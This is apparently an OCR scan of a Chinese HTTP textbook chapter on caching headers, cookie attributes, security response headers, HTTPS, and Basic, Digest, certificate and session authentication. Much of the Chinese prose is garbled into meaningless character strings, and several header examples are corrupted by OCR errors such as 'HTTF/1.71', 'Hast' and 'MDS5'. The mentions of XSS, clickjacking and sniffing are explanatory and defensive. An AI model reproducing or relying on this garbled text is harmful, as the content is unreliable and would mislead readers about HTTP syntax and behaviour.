B HFBt Expires 20K SR KR H IS J1% P i . A7 RS A E#2
K 2B E T Bt Expires HIM N 5, 2 PASEAERN 15K, 1E
Expires BB 18 & BB (8] 2 /i, W N 1 B A = — EH R fr. Sl
TE%E‘J TR, A7 IR S5 2 TG SR R IZ T ORI, &8 MR IR 55 2515 K
e

VAR 55 45 ATy B RAT IR ST 4 XS R ZZ AT, s UFAE Expires TERNS
N5 & # 5Bt Date A8 A H R [A)4A

B2, 457 Cache-Control A 15 %€ max-age {84, HLEE T
Bt Expires, ={L5GALEE max-age 154 -

6.6.10 Last-Modified

@ﬁ& 002§ 5 B 23 B;@
NS

AR5 28
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Last-Modified: Wed, 23 May 2012 ©09:59:55 GMT

H BB Last-Modified $i5 B s £ 0B 18] . — Mok ud, XA
{E 5t /& Request-URI 48 %€ DX IR #E A BRI 1) o {HZRABME F CGI I A 33
TN AT EER, 1ZEA 7R 2728 R i A5 2 R B 1]

6.7 N Cookie Il 55 H 3 7B

BRSS9 5% i 2 ARSI Cookie,  BRARVE AT W gm NARTHEAL
HTTP/1.1 [¥) RFC2616 1, {HLE Web Wuk F RIS 7T 2 KN

Cookie H TAEHLENZ R R B SRS H . Web WSk 8 1 & ELH P 1Y)
RS T Web (I Eas, #HE— S dRIGRT 5 ANH P P EILN . B
H 2 P U5 RZ Web M i ], ]38 ik @8 45 7 R 2 B/ AR
Cookie-

W Cookie I}, H T AIK:EE Cookie [ ZLEH, VAA RIEITHIER. &%
7B MEER, FrPLIEI RAT I Cookie W HIEHE A2 K>k B HiAh
Web ifi i A1 B 24 1 B i itk %

£ 2013 4 5 H, Cookie FIINHEPRUESCAY A LLT 4 Fh,

FH X 5% 2 ] AT 11 RIS Ao 7

WX B E A B R T Cookie, FEHIE M LIEAE AR 1994
R SG, Cookie 1ETN FIAEM st esH . HATH N S Cookie
77 A2 DAt N EEHERT

RFC2109

oAbl 22 I STHOR NS Cookie FIUMS HEAT AR Gt % JRAS K RLIA]
e AR 55 28 w1 AR RS BN, Al AR T b i ZE S . BIAE
ZARE SR T AT

RFC2965
R4 Internet Explorer | % #5 5 Netscape Navigator 45 #E 25 37 1 5

I Rk g, RFC2965 W X 1 #TH) HTTP 1 #F Set-Cookie2 Fl
Cookie2. PJEHsZ I, BAILFEEABRNEH,
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RFC6265

s P 35 2 = 1] 8 IR AR Ll SR s2pRifE (De facto standard) , EEHT

7€ X Cookie ¥rifE )5 1729

H AT A )2 () Cookie ARt I A& RFC HE SR — 4> T2

TE M 5L A B AR IE AT H RS =4
ARATE N Rt B RIS ) A B bR AT 1
NI 5% T 5 Cookie IR E BT EL .
% 6-8: N Cookie 55 1) & # F B

BB 4 1t B R Bt
Set-Cookie TF A IR 4 H 1 Cookie {5 E. ] 87 7 50 - B
Cookie A 25 #3220 2 1 Cookie /5 2. TR E HF B

Set-Cookie & &

1§ & 1 © Cookie

e D
==

£e3A
Cookie J

Cookie & &

6.7.1 Set-Cookie

Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:3]

k55 e TR B P i RS ET, SFR T RS AEE
MRS F2E T Set-Cookie 5B A .

% 6-9: Set-Cookie F E [t @ It
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J& M i

NAME=VALUE T Cookie ()44 FRAHAE (AT

expires=DATE Cookie AR CE AR+ & MER A 90 Ya 28 5¢ PR M 1E)D
B PR S52% i Sc A H A N Cookie ff3dE N 5 (CEASTE & 2R

path=PATH U SRS SO H )

domain=tt & {EA Cookie I&EHIXT R4 CGEATE 2 N ERIA AT Cookie

AR 25453 I 42 )

Secure IXAE HTTPS %24l {5 i A4 23 3% Cookie

HittpOnly HnCARR I, f# Cookie ANREM; JavaScript JHIAS 17 i

expires )& 4

Cookie [1] expires J& P45 & W W 8 7] &K 1% Cookie A RHA

HEBE expires JBIERT, HAZUMNR T 4Edp e ds 231 (Session)
I TE) B P o 3K 30 5 PR 3010 06 I FH R 4 R P 2 T o

F14h, — H Cookie MRS58 i KIX B P im, RSS2 i il AN A7 A5 1]
PLIE ZUMIBR Cookie 1774 . (HWIEILE 55 Ot KT Cookie, SZILXY
= i Cookie Y SE P MIBRERAE o

path & 4

Cookie 1] path J& 1] F T PR #ill48 € Cookie M A% Y FE 1 SCAF H 3%
AN A IME TR IX TR G, B R HAE 2 L B SR A RE
AIARE

domain J& {4

i Cookie ) domain J& 1445 & B34 Al i 2 5 45 B UL R — 2. Lt
U, *4¥85E example.com J5, & example.com PA%#h, www.example.com
8 www?2.example.com Z&# 1] LL & 1% Cookies

Rk, B 186 BARYS € i 2 N84 K% Cookie 2 A, AfaE
domain J& T4 EAF 5 %4,

secure & M
Cookie 1Y) secure J& 4 H TRl Web T H{XE HTTPS 4N, A
AJ LA 1% Cookieo
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& i% Cookie I, #87E secure J&TEM T LT Frx.

Set-Cookie: name=value; secure

DL A 24 7E https://www.example.com/ (HTTPS) 224 i1 1/,
A AT Cookie BRI, Wpli2ud, BI{E44 AHIA],
http://www.example.com/ (HTTP) A% &4 Cookie [FIUAT M.

WA secure JETERE, A HTTP i62 HTTPS, #4%t Cookie HE4T
Bl

HttpOnly & 't

Cookie f¥] HitpOnly )%"rét% Cookie [ JEThfE, '©1# JavaScript A

ToiE3RAF Cookieo HFZH KN IEES R IAT S (Cross-site
scripting, XSS) X]L Cookie 15 2 57HL.

Ki%+E %€ HttpOnly J& ) Cookie HI VAU Fw

Set-Cookie: name=value; HttpOnly

i BRI E, N Web T N IET] ELXT Cookie @47 152 BUERAE
1B A JavaScript FJ document.cookie Fft JGiZE =L HL I N HttpOnly J& 14 J5
[t) Cookie FINZE 1o BAUtk, WELIGIEAE XSS H A JavaScript #)4F
Cookie | .

ARSI R ThRE, 1H Internet Explorer 6 SP1 PL ERRATE R[]
FWMNERA OB CFIXY R 7. AN —3E, 2y EIFEERNT
Bii 1k XSS M & K.

6.7.2 Cookie

Cookie: status=enable

H i B Cookie & F ARG 4%, [& P imAEsR1S HTTP RS E H L
RO, eIl R e & MRS 22 211 Cookie. IR Z A
Cookie i, [AFER] PLLLZ A Cookie TE R K 1%

6.8 oAt T
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HTTP & & Bog il LLEATY R ). BT EALE Web [R5 a5 A0 U 25 1) S
B, = LS AR AR bR A w7 B

RR, FATHE— oy H RS 5 BOE AT W
¢ X-Frame-Options
e X-XSS-Protection
e DNT

o P3P

6.8.1 X-Frame-Options

X-Frame-Options: DENY

B #lFBt X-Frame-Options J& T HTTP M 353, A T3 Hl Rk A &
FE AR Web W35k ] Frame FR2E N B Bosa@l. HEZH 2N TP
1EfidEF (clickjacking) X

B 4B F Bt X-Frame-Options A LA~ P40 48 58 10 7 BUH
e DENY: fE4

e SAMEORIGIN : X [RIJEE A TR LA (Top-level-browsing-
context) VLECHTVFR].  CEutm, 448 7€ http://hackr.jp/sample.html
T A~ SAMEORIGIN B, FB4 hackr.jp b T ) frame A4
?Dﬁﬂﬂﬂ%iiﬁﬁﬁ, 1M example.com 55 HARI A 1 0L T AT

)

SERZE BN 28 . Internet Explorer 8. Firefox 3.6.9+.
Chrome 4.1.249.1042+. Safari 4+ 1 Opera 10.50+ %5, ILLE E A U8
(R

BETE T A 11 Web Al 55 28 i 56 15 1€ U X-Frame-Options <7 B {H /& i B
EHPIRE

%t apache2.conf 1A & 5245

<IfModule mod headers.c>

132



Header append X-FRAME-OPTIONS "SAMEORIGIN"
</IfModule>

6.8.2 X-XSS-Protection

X-XSS-Protection: 1

B A7 X-XSS-Protection J& T HTTP M N 15 #8, ‘B 50X 8 ik A
Wit (XSS) H—Fxt ok, F T4 g8 XSS B $ ML o< .

Hulh B X-XSS-Protection 7] 48 € HIFZEABE W T »
e 0: J XSS iIyEik B MR ILCRES
o 1: ¥ XSS idyE%E A IIRE

6.8.3 DNT

HTLLR L

DNT & &8

DNT: 1

B 7B DNT J& T HTTP iG> &5 55, H " DNT s& Do Not Track HJ &
%g , EONTELE NG BAINEE, RN IEARE ) HIB B — R
%o
B 7B DNT nJf58 € ) ZBAE IR .

e 0: [AEWYIBEE

o 1: FHAYIBES

HT &3 7B DNT M Dhge B &G %M, Frel Web B 5548 75 2% DNT
T I ) S FF
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6.8.4 P3P

P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVD{

H B P3P J& T HTTP R &5, 8k HIFH P3P (The Platform for
Privacy Preferences, fEZ[EAMRIFF&) FiAR, TTLALE Web Wb
E‘ng/;/\K%%A@E)ﬁ*%*ﬁﬁﬁ?ﬁf@%E@ﬁﬁﬁ, LIS B ERGF FH A B )
H K.

BT P3P BE, T2 A NP SR 34T .

BB A1 P3P FE AL

AR 2. A5 P3P RAKTIE S S, PRAEAR A4 TE /w3c/p3p.xml

SIR 3. M P3P FEAAH BT 2 Compact policies J&, it I HTTP M v
H

% P3P PRI EIRHETE 2/ N 58

e The Platform for Privacy Preferences 1.0 (P3P1.0) Specification
http://www.w3.org/TR/P3P/

PR R X- /TR R R
7E HTTP 25 Z AWyl , B AE bR S M0 L AT%E X, SRIX I
THESE, AR AR E S B E T R T RE . (H 2 X Ff
fE AR ME A A EM L, FUILFE“RFC 6648 - Deprecating
the "X-" Prefix and Similar Constructs in Application Protocols” 1 #&iX
5 1Bz
SR, XA F R X- grgskid, ANiZERLATE,
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57 E LR Web 7241
HTTPS

7E HTTP WX o] GEAAAEA(E B G T sk S D 2545 22 4 n) . fif
HTTPS i@ LA LA By ki e jn) @i, A= RAT T —F
HTTPS.

7.1 HTTP 55

FNFAE 1R, RATE TS HTTP EA A 45 M7 8 —18, SR
HTTP I AR —T1i, FHYEEWmME, stef ez 4n.

HTTP FEH X AL, HIZEaF.

o BEMMMIN (AIE) , WEWRSH G
o AIGUEIEAE T B 47, DHILA vl Al i O %

o TIEUEHIRSCI RN, Bl AT RE O Bk
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XL AN AE HTTP BB, HAt AR 1 Pl o A7 X R
A

BRIt Sh, HTTP ATICHIRZH . 1M H, A GEEERER Web
A 55 5 AR E 1) Web 1 53 2% 7E S PR M FRAFE DA 2 CHLAT BAasd
reffigs it ez aiwi) , 54h, M Java M PHP S¢4ifEiE 5 T K K
Web N 5 AT BEAFAE 2 AR .

7.1.1 IE{EE R BE S H G Iy

T HTTP A AN E&LINE R IEE, B LA TCyE M R 5 (5 58k (fif
F HTTP ¥ UGEAE G R A B N 25 ) #4705 . B, HTTP 3¢
fERAC (FBRG N ke ki,

o TCP/IP 2 7] R #% T Wr 1Y) X 2%

IR E RO A BENAINE 2 — R, XDy, %
TCP/IP PR 1 AN, 3845 A BRI Rl (S 2k Eaa

n] REIE B FIAL -

I LRI, S RS 21 4 T 8 AR - TEIR T F R4
Ve B AR S5 A AE AN 2 7 i B A5 I, FEDCIE A5 Rt b 2L B R 28 13
o G FENEEATTREE D N E Y, FrUAHREREA
WA 8 2R R BTN

NI D i e B AIEAE, g BEE N e, KRR
I HIEE R FER . R FEELd e, ARk
ﬁ%ﬁ%ﬁiﬁ%%@i,@M%%ﬁﬁ%ﬁiﬁ%ﬁ%ﬁ%@
BB 2

G U . =

HibE P i
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B LI WY B A AT A Vi AT A AE B AS YA T W 1 XU

TIUT AR R B B aEAE AR . R RR B AE B _E B A
A (WD AT 17 XTI R BB B B AT AR, WIAE 45 R
e (Packet Capture) BYFRERZS (Sniffer) T.H.

N E R Bl R4) ZAEH ITE LH Wireshark. & A PA
R HTTP PR T KA RN A A 2, 0 AT i AT

GAE A GET ik KIEE R WMIR[E T 200 OK, #&F HTTP Iy
IR S 1458 A 55— RIS A AT DU .

.mmmlwmi:mmsmw IWIW{MMQEIMMi.ﬁ 3
Fie EdRt View Go Capture Anabze Statistics Telephony Took Intemak Heb
BN 2ExXxRS a¢seTL @ acan E#VN% @
| Filker: | | top.stream eq 3 Baﬂm Clear Apply

rio. Time Source Destination Protocol Length Info

192.168.3.101 66 http > 58330 [SYN, ACK] Seqe0 Ack=1 Win=5840 Le

18 2.566264 203.189.105.112

29 2.5723205 203.189.105.112 192.168.3.101 60 http > 58330 [ACK] Seq=l Ack=345 Win=6912 Len=0
30 2.584874 203.189.105.112 192,168, 2.101 650 HTTP/1.1 200 oK (text/html)
31 2.584929 203.189.105.112 192.168.3.101 60 http > 58330 [FIN, ACK] Seq=597 Ack=345 win=6912

7 6 ( T3
# Internet Protocel version 4, Src: 203.189.105, 112 (203 189.105.112), Dst 1.92 168 3.101 (192, 168 3.101)
U‘1ransn|ss1on controT Pru:o:o1 src port: http (BO), Dst Port: 58330 (58330), Seq: 1, Ack: 345, Len: 596

pate: Fri, 13 Jul 2012 02:45:26 GMT\r\n
Server: Apache\r\n .
Last-modified: Fri, 31 Aug 2007 02:02:20 @uT\r\n 7
ETag: "45bael-16a-46d776ac™\r\n
Accept-Ranges: bytesirin
@ content-Length: 362\r\n

connection: close\r\n

Content-Type: text /html\r\n

ALY
® Line-based text data: text.l’htcﬂ

@MT
1 - lﬁi! 5r|

@/ e ssome = pad:en:mﬁmhred 10 Markad: Ul}ronued u [ Profie: Defauk

Kl: Wireshark Chttp://www.wireshark.org/)

o N Ab BB 1k B Wy

Eﬁmﬁﬁﬁﬁﬁﬁmwﬁﬁiﬁ%%%h,mﬂﬁﬁ R, B
N R M ROR . I RIS R ] LA I

1815 B I
— P 7 SR KBS N . HTTP Phish & A sy, (Ha7 e
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http://www.wireshark.org/

L A1 SSL (Secure Socket Layer, Z4&EH#H)E) 5
TLS (Transport Layer Security, %4 EEH) WA EMH,
% HTTP BIEE N2

H SSL @S Z Al S &k 2 Ja, A] DMEIR 562k i% b 47 HTTP

BET. 5 SSLAHEGE AR HTTP i #5 ~ HTTPS (HTTP
Secure, AL I Z W) B, HTTP over SSL.

00

2 & 1IBIS Ze i

B F i FR o5&

RFESEFmZERIERENBIELRZEFGBIE

K A
o T
oK

B e
SESyIES
A Mk 2 H5lER N A S INER 7. B+ HTTP P+
BAIENLE, AR HTTP P& m e A EA S e . R
HTTP S Fr 3 (1) N A AT I e Ab 2.

FEIXMIEOLT 25 7 0 75 200 HTTP $i SC#EAT i85 Ab 2 5 7 R i

TH R
X E AR
al AT
WX EER
R ER
N
| N
XETMHABRSHNZNE (BEX
SREFINEN )

AR, N 1B R N AN, PR SR i AR 55 4% [
I R s A LA . EZN AL Web BR55H. A — Rl
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SIEVER, HT1%I7 AR T SSLEk TLS #4515 4% I 2%
KEEL,  FTCAN B BB AR . AR BAT 2 I A

7.1.2  ANUEIEAS J7 I 5wl vl REE 18 O e
HTTP #3078 SRR N AN 2 06845 7 AT A . e i 7 Hik
55 i AT T AOEVE R URT HAEFRE B EHL, 3R B B2 75 A
A5 ] 33 S5 B B2 HH 3R SR PR 2 7 i S AL ) i
o (EAT ANHE AT AT R
£ HTTP Pr3GEEN, B TFAFEMVGEE T WALE B IR, A2
NHAT LUREETE K . 3 4h, RS54 R BRI R K, AEXT 72

WA IR (A v, (EARAY PR 538 3w ) 1P ik Al 53¢
1 Web 5545 BUEBR BT FI I RTHE B

i REMO LS
: BAHSY
: =~
I AT
-
0 ¢

P55
XHERKETIE

HTTP Whil I SEILA B AR i 5, A2 AR R IR R A =
AN, RIUEAINEE T, ST SR &

o TCIEHAETE R KL HARK Web ik 55 45 52 15 /e 1% HL LS
k% [ o 2 ) 8 65 Ak 55 4% - A AT BE 2 C D9 B B Web iR 5%
o

o TG g Wi L3RR 18] 1] [ 5 7 i A2 75 e 1 L S TR TR RS
LRI ARAN % 7 o o AT AT e A2 O D 2R 1R 2 i o

o JoAHfE IEAEIEAR BN 5 72 5 R A U AR o [ N 2 48
Web ik 55 % EREFERERFELE, RAERGREMHN @
15 IBLRR -
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o TIXHAEFENRERBEMIT . HEHET

o HIfF 2R NG RSB ., ok ikl &1 K
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Apache HTTP Server 2.4.2 (httpd): 2.4.2 is the latest available version 2012-04-17

The Apache HTTP Server Project is pleased to announce the release of version 2.4.2 of the Apache HTTP
Server ("Apache" and "httpd"). This version of Apache is our 2nd GA release of the new generation 2.4.x
branch of Apache HTTPD and represents fifteen years of innovation by the project, and is recommended
over all previous releases!

For details see the Official Announcement and the CHANGES_2 4 and CHANGES_2.4 2 lists

» Unix Source; httpd-2.4.2.tarbz2 [ PGP | [ MD5 ] [ SHA1 |
» Unix Source: httpd-2.4.2 targz [ PGP | [ MD5 | [ SHA1 |

+ Security and official patches

Download - The Apache HTTP Server Project

$0theriles http://httpi.apache.org/download.cgi
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THENUA B TCIE I W ARAE R g A AL P B 1 Sy o 20, Bk
IRFN M ZS AR A HE. Al L, N T SRS TR ELE T I AR ST
&, BRI i H AR KT

Ao, LSRR DT AR 55 ER AR T AR H O 2 ueno, B2 75 R SEIX
AT RS . NEAIA veno AN A2 75 HH HAT Vs iRl R G HIALR

g%E&W%ﬁﬁikﬁﬂﬁ%%%K“%%%ikﬁéﬁ%%

I

2o B 45 Sl A2 i DA R IX s
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o Hhh: HAANAZFIEN 7HFHE S

DAL DURAS N FFAA 1B A s 1 — IR PR 5
o HFUEF: URAN (Zim) FFAMEE.

o EWINIE: FREUAMT R SEA N B AEHAE S

o IC R55: URAANFANGEL

|

°
Uy

KRB LI ReHPeT
XXXXXX. 17 g%, &
EE0 TRk s R
s A JB?

2, BMEXN T REEMAP, REREEH A UE, AT ENLEL
SEINH BEARANIT N B, FEEVZEE SRS AR LA
B3, HARREE 5 MR R R
HTTP 15 H 1AL 77 20
HTTP/1.1 1 FH BGAUE 7 2040 T s

e BASIC IAiF (FEAINE)

e DIGEST i\ iF (FEAUE)

e SSL % 7 i Ak

e FormBase P\ iF (3% T K EA\UF)
HAh, A Windows 4t—iAIE (Keberos AiE. NTLM AuF) , {HA
PAETEE

8.2 BASIC i\iF
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BASIC M E (EEASAE) &M HTTP/1.0 5tE XAE A . BIfE &
AR A — 585 I Wk 2 X P AE T e & Web 5548 51815
B 2 (A AT HIAAE T

BASIC T\ E F A E 5 1%

f&

&P DI BIRASES 401 BUSHE P ik BEH TN
HTTF/1.71 401 Authorization Required

Date: Mon, 19 Sep 2011 08:38:32 GMT i
Server: Apache/2.2.3 (Unix) AR %5 35
WiwwW-Authenticate: Basic realm="Input Your ID and Password."

2B F D Ll Basebd F R RALJE &iE
@ guest:guest — Base64 — Z3VIc30Q6Z3VIc30=

El GET fprivatef HTTP/1 .1
Haost: hackr.jp
Autharization: Basic Z3VIc3Q6Z3VIe3Q=

SIAERLTh FIR BIARZSES 200, A AR KB IR BKZSE 401

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 08:38:35 GMT
Server: Apache/2.2.3 (Unix)

GET fprivate/ HTTPM 1
Hast: hackr.jp

K. BASIC i\ iF i} 2

DI HIERMTIE T 2 BASIC VAER, K528 2 BR A 401

Authorization Required, % [8]H; WWW-Authenticate & #7-Bx FIMA NY. o

ZFBENASIER TR (BASIC) M Request-URI 2 418545 Hi
(realm) -

BIR 2 RUBIREERY 401 ()% 7 im0y 1B BASIC AE, 720k
I ID JOE RS ROE 4 RS54 . OB R 74T 8 WA 2 A P ID MY
fpk, M FEILVES (O E&E, B4 Baseo4 it

&~ ID A guest, #5058 guest, RS TE R guest: guest IX
FERIFREH . SRS 20T Base6d il £ (14 LR 22
Z3V1c3Q6Z3VIe3Q=. #IX & 5 N &7 B Authorization )5,

= P ARE N R, P A R A ID AR RI R, 2 )5,
WY 2% 2 H 3 56 B Base64 4uhid 1 TAE .
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WA SN X

i)rmmmmmmmﬂ

Brg: | ]
B8: | |

WE B

B 3. BRI S E S B Authorization 7 K AR S5 2%, =X F
&R IERATESE T IOAE . aniGuEiE I, 3R [Bl—2%£9 & Request-URI
i L EP VAR

BASIC "AiE £ K H Base64 gt 7, HIXARINFEAR, AFEE
ALART B S BRI AT il . #0552, T BSOS A 2 A P ID
A0, 78 HTTP 4B % 845 2k it 4T BASIC YRR 2
o, R NG, S AT RE AR .

AL, BRI AME AT — X BASIC WAUERF, — A3 Y 28 50 J6 i
SEHV IR R RIE, XWR G —.

BASIC UEfE A EANBEGE RS, HIEA 2250 Web Wb 12 1) %
EMEER, FIeIFAE M.

8.3 DIGEST \iF

HiRAN BASIC WIEAEAEM 55 50, A HTTP/1.1 #2541 DIGEST i\
k. DIGEST Ak [FJAF48 A o i / o 52 ) 75 2
(challenge/response) , {HANZAE BASIC IIEANKE B2 K 1% B S
i,

PR B N T et — TP — T e RIEINIEEER G 5 —TF, 4%

A8 A T3 — 5 RS 0 o W AL B 2 RS SRS o e i A P S A i
[0 28 5% 5 AT A 7 3
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TAUEZ K

7
550
JT’
MR
0 Off) R 5
;

DRI IR 45 368 7 18 I e i) I 4 22 b o Jo v A = A R TSGR, BT PAER
&2 BASIC AL, itk & (1) m] BE PRl FEAIR 1 o

DIGEST A iF B\ GE 25 1%

@ GET /digest/ HTTP/1 1
El Host: hackr.jp

P D& X m8Y 651855 ( BEHLEL, nonce )UK EHHEIAEH

RATE 401
HTTR/1.1 401 Authorization Reguired

WWW.Authenticate: Digest realm="DIGEST",
nonce="MOSQZ0itBAA=44abb6784ccIchfc605a5b0893d36f23de k%528
9&fcf’, algorithm=MDS5, qop="auth"

@ QR EBEMRE BTG THE A E( response )

El GET /digest! HTTP/1.1

Host: hackr.jp
Authorization: Digest username="guest", realm="DIGEST",
nonce="MOSQZ0itBAA=44abb6784ccocbfcb05a5b0893d36f23de95f
cff’, uri="/digest”, algorithm=MDS5,
response="df56389ba3f7c52e9d7551115d67472f", qop=auth,
nc=00000001, cnonce="082c875dcb2ca740"

STAERTHIR BIRZSES 200, KU AR &% IK7555 401

HTTR/1.1 200 OK
Authentication-Info:
rspauth="f218e9ddb407a3d16f2f7d2c40972800",

cnonce="082c875dcb2ca740", nc=00000001, gop=auth

Kl: DIGEST i\ iF ff 2

IR 1 ERFMER RN, RS2 E RS 401
Authorization Required, % [A]77 WWW-Authenticate B # B IR M. o
T BN R B o I N7 S UIE B s B i S CREATLEL,

nonce) o
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BB WWW-Authenticate N 2 2405 realm F11 nonce 1X P17 B [
B B i A R 1) Hlk 55 2 101 025 X P AME AT IERY o

nonce & — FIEEREEIR [B1 1) 401 i N AL % AR BENL 74 5 o 74T
533 477 1 Base64 9 fith (1 -H /8B EU L 20, (HSLhR N &K
HUIR 55 a4 () FLAR S o

WK 2. B 401 RS A o, 1R B B AR DIGEST A
UEDAZ0 ) 1 3157 Bt Authorization 15 & o

B ul 7B Authorization PN A ZEL S username~ realm. nonce. uri A7
response M FBUE S . A, realm Ml nonce 5t /& 2 B M AR 55 25 #2 U 2]
TR N H ) - B

username & realm [R5 Yo A B] AT DRI P 42 o

uri (digest-uri) B[l Request-URI {H, (HH &R HE K5
llj\jequest-URI PE AT BB, TR bR S & B il — 1 B AR PRAFAE uri

response tH 1] IY{ Request-Digest, f7/i& 1L MD5 iz 5 J5 i) 5% i 7F
B, TR R LAY

Mg o R HAth ) SEARTE 2 WL 2R 6 B 11E 5K 15 3 7~ Bt Authorization. 73
4k, K Request-Digest IITHA NI B %, HXEBATEEE AR
2% >]— 1 RFC2617.

WIR 3. BB B S E T B Authorization 15 R Ik &5 78, = HIAIA
WEE BRI IERYE . IAUEIE I 5 R (5] 6L 2 Request-URIT 5% I8 A i [

- HIX B2 7F B 3 B Authentication-Info 5 A\ — Y5\ UF i Th I AH = AE

I O

DIGEST A EFRE T = F BASIC AIER) 224252, {E&H1 HTTPS )
2 P Y AEAE EEA IHIE 58 . DIGEST AUEHE AR 1E 255 4% 55 I (A7 4
ML, B I AAELERT 1 P O 2 i AR H L

DIGEST A UEAN BASIC AUE—#F, i LA AR RE, HAUEA
%ﬂ?f& Web X3 X 1 B 22 A S 2 P B SR A o DR L 6 1) 38 FH e L
2R o
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8.4 SSL &% F um ik

MAE S FH P ID AN RS (AL Ty 207 TR DE, 2 3 (1 A 2 IR,
R RIIE A NBIAT N (HATR A 7 ID A4S, SURAT ] REwk
H=FE 7. FM SSLZ ) umiA kN ] LU iz % i) R A

SSL % Pk A2 fif 5 HTTPS HI %5 ik P se e o . et
BPuIET (FE HTTPS — = 2 uff#) E, RS # ] #fiA v il & i
KH B E R i

8.4.1 SSL & J g A IF B A AIF 25 B

A E) SSL & P umiAiE ) B, fEHELKE It KA &R
i, HZ A A B I
WL BIREIEE)ERREAE R, RG22 K% Certificate
Request % 3¢, ZEREF P umPe b P umiE 4.
HI8 2. PR AENE S mIEDE, &5 ima B il s
B LA Client Certificate I 3 /7 sUK 1A% IR 55 %% -

B ——
EEET T

f EBER

ETERHENIT:
o (RILILER AN A 5 ¢
* IR H EAE A B S
*2.16.840.1.113733.1.7.23.6
*2.16.840.1.113730.4.1

+ HXREER, FSEEDMEafRna.

b4 o H entryll.bk.mufg.jp

MEFH: VeriSign Class 3 Extended Validation SSL
SGC CA

FHEWHN  EHE— o0e- 04 B 2 o8- (

(mEER@S) |

TR BREEER

@z
& R S imiE Bl (=22 7850 URY A7)
BYR 3. IRSF AR AL R ) i Uk S SR e 5 ] I S N 2 S
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NFFELH, SRIETFME HTTPS s S,
8.4.2 SSL % 7 Ui P\ E K B XK 2 A GIE

EZHNEOM T, SSL&E i NIEASAKEEUE T 5E BOAIE, —fa Al
HETRPVUE FHETHE) AEE—MXNAZEINE (Two-factor
authentication) KAFH . FTiEXUAZINEH 2%, NEdREFAMNTFE
X — AR, EFEREMEERAEEMEEEEE, AWmEN
H—NRER, S5HEHAEMHBETT R

522, B MINER EH SSL 2 ik 5 R UE RS P S v 5L
75— AN IAUE DS 35 PR 8 R D P SR 52 3K 2 FH P A N IRIAT 9

RN Z UL, 3 AT A A& P P A N IR A5 G i 1 ) o5
BT 1] AR 55 4% .

8.4.3 SSL % F I P Uk 0 B2 1) B H

] SSL & P i A UE 5 B B2 P sl A5 10 % ) S IE 45 75 25 A —
A BELE A -

XHERB SRR, MYGEYUIEE P il BRI, PR SE
Wiz E FH ORI H R Z R 2 4188 P AR 3

BNV AUR 25 7 S uE P I S AN AL A, P s —5kuE 45k,

AU E U HIt. IS asiaEH el UL E S diAbL
fy, (HEYEFF 2 s AT i e AN 5

8.5 FETEHINIE

BT R PRPNE T EFEARTE HTTP e L. & 2 R iR SS
#r L) Web N HIRE R KB F 35 8 (Credential) , #8115 B
UESS RN .

ijETE Web W HIRE > B S PR 2252, SRABLHI T F i A A Tr At 25 A
HIF .
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Gl‘—’l [Je—p—

Google {R{EAYE FHREERSS.

Gmail (UFFRIESE , EFMUAILIEEN. SRS , B2 S
RERE, B, Gmail BELITRA - Google W

OB AFE:
FIA Google RIBIFTEATTLUS AR EMHET a2 a0 -
ab, pat@example.com

FH\HRsE i
BENAIME T8 http://gmail.com , EaILL Y FRERES

EENFN L EHAGmail, TERIHE | E&F
BAEE EFAREIREIHE ?

#Bid 7497.396475 MB ( iIFFETERIEND ) AOBRETFiES
18,

#iR{EA Gmail? EERSEE
BINEA : BANBCETHNT T RLNES, TESSES MEREHT,

SR »

XF Gmail FHBThEE!

K. T RAINERF (Google)

ZHEOLR, AN CHLERMM T ID GEF R T4 5 sl
bk M ERE R, K& Web MR, FFIMIESR
R TE DAUE A& 75 D) o

8.5.1 ANIEZ Y AR T EFINE

A8 B R N e st R, HTTP Bl bR FE ALK BASIC A
WA DIGEST WEJLEANE A M. A4h, SSL & umilil 2R B
R EER, HERRNSANLGERETR RS, &R .

Wl SSH A FTP ill, 1725 585 % 7 o 2 ) A TIE A & b B
), 3t EL R T BRI ThAE ok % 2 B I, PRI e
O TT A5k P e o ELAS T Web BRI GEDhAE, AES
S22 4 8 0 A BTG IS AZE, 97 DA S U 8 £l Web iz
PR & I SCHLE T R W T 7 2t

AB & ILFEFRAERTE R HAE, FERED Web Muh E#R A & A
IR SEI T 3 IR R Al 2% he i 2 1 RE Ty S B A R FRAE, AR A
WAL Hag R LI 2 a5 o (BAER A UE RSB AR A7 7E 7)) Web
o ity £ P LA B
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8.5.2 Session &M & Cookie M

T RPVDUEFREE HARE €1, — MR Cookie K B
Session (£=1%) .

ST R AAUEA By R AR 554 m (1) Web S, R 25 7 i A& ok
(R P ID AR 5 22w 6 s ad (45 B SL BE R HEAT AUE Y .

HXF HTTP 2 TIRSTMN, 257 S E RS B R PR Joiid o iy
WEMRRAT IR, B, JoyEscdURESEH, BUbRME 2z T~ —ik
gkszyiinl, WIEX 5 AW . TR H Cookie 2K
‘B P Session, VAFRAM HTTP ¥l H AFERPIRSE P T RE

& F i Egg

1 REBEEREE ( BFID, &558) "
r ] B P & i Session
2) %1% BE Session IDFICookie D, IERIMERZ
Set-Cookie: PHPSESSID=028a8c...;
&«
3 % 1%61%Session ID#ICookie T 1;' 5 iESesgiqP
Cookie: PHPSESSID=028a8c... DRk HEMNAEH
> SSHP

Session & [ Cookie RS & H

.
WIR 1 F P umdC T ID R RS 25 8 e fE B NI ST SEARES 47
15 A2 DL POST J7iE401E K R IE 25 RS 25 - ﬁﬁﬁ,%ﬁ%HHm
HAE RHEAT HTML 22 50 1) [ 1 5~ A0 7 4 N B0 1 R 3%

WIR 2. RS A& R CLR A A F ) Session ID. 18 36 1E R H
Ut R T R E A5 B AT 00 IE, AR ETEH P RIRIRS S
Session ID 4 7€ 5 10 3 1F AR 55 7 Lifi

0] 2% iR (B W R BN, 2 E B 3B Set-Cookie N5 A\ Session
ID (g PHPSESSID=028a8¢c...) -

TR AT LAFE Session ID A2 R —Fi FH LLIX 0 AR IS5 5
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ST, AR Session ID #7505 =J5 57, X7l Al LADY ke B AR B 4 2t
ITREEAE T BB 1l Session ID # #s, BRHEAE . S T 2
X, Session ID A5 Yk ASHENN A 7455 8, ELAR 55 a4 i th 75 B2 0047
AROAREHE, RIER Zet.

AN, RIS AT (XSS) R ge, @i ESeTE Cookie
PN _E httponly J& 14 .

IR 3. P iR B MR 55 28 v & R 1P Session ID J5, 24 HAEN
Cookie PRAFIEAM . T IR IRS a5 RIETERES, Naas< BB RIE
